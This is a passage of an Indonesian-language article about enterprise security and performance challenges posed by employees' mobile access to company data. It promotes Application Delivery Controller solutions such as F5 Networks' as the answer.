Berbagai ancaman bisa saja muncul karena ‘perilaku’ ini; seperti serangan malware hingga kebocoran data, karena itu mau tidak mau para eksekutif perusahaan juga perlu mengatur elemen-elemen sosial di perusahaan mereka. Mereka (para eksekutif perusahaan) perlu mulai berpikir tentang bagaimana menerapkan kebijakan dan infrastruktur yang mampu mengakomodir kebutuhan karyawan-karyawan generasi baru, agar menjadi tetap kompetitif di pasar. Terlepas dari perangkat yang digunakan karyawan mengakses data-data perusahaan melalui sebuah aplikasi, mereka berharap bisa mengakses apliaksi dan data perusahaan dengan kinerja yang sama atau bahkan lebih baik dari yang mereka dapatkan ketika menggunakan dekstop PC. Untuk memenuhi kebutuhan tersebut, perusahaan perlu memiliki infrastruktur backend yang mampu membantu mereka untuk mengirimkan berbagai konten yang terdapat banyak gambar, mampu mengatur prioritas dari trafik untuk mengatasi latensi jaringan mobile, dan menawarkan visibilitas ke dalam kinerja sebuah aplikasi. Seperti yang sudah disebutkan, ancaman keamanan di dunia saat ini telah berkembang menjadi semakin rumit, canggih dan masif, dari berbagai sumber di berbagai perangkat, yang membuat sistem keamanan tradisional tidak lagi mampu menghadapi gempuran dari penjahat cyber. Akibatnya, sistem keamanan tradisional akan semakin tergerus dengan sistem keamanan IT yang multi-fungsi. Konvergensi ini juga akan terjadi di dalam konteks kinerja sistem IT perusahaan, karena bisnis akan menuntut perusahaan untuk dapat menyediakan pengalaman pelanggan yang memuaskan di berbagai perangkat. Salah solusi yang dapat memberikan perusahaan adalah solusi Application Delivery Controller (ADC), seperti yang ditawarkan oleh F5 Networks. Solusi ADC memungkinkan perusahaan untuk meningkatkan tingkat ketersediaan akses ke aplikasi di dalam sebuah jaringan. Selain meningkatkan ketersediaan, solusi ADC juga mampu meningkatkan kinerja aplikasi dan jaringan perusahaan dengan sumber daya yang lebih sedikit dan efektif. Tidak luput, solusi ini juga mampu mengamankan trafik yang ingin mengakses aplikasi dan data sekaligus mengamankan aplikasi tersebut.
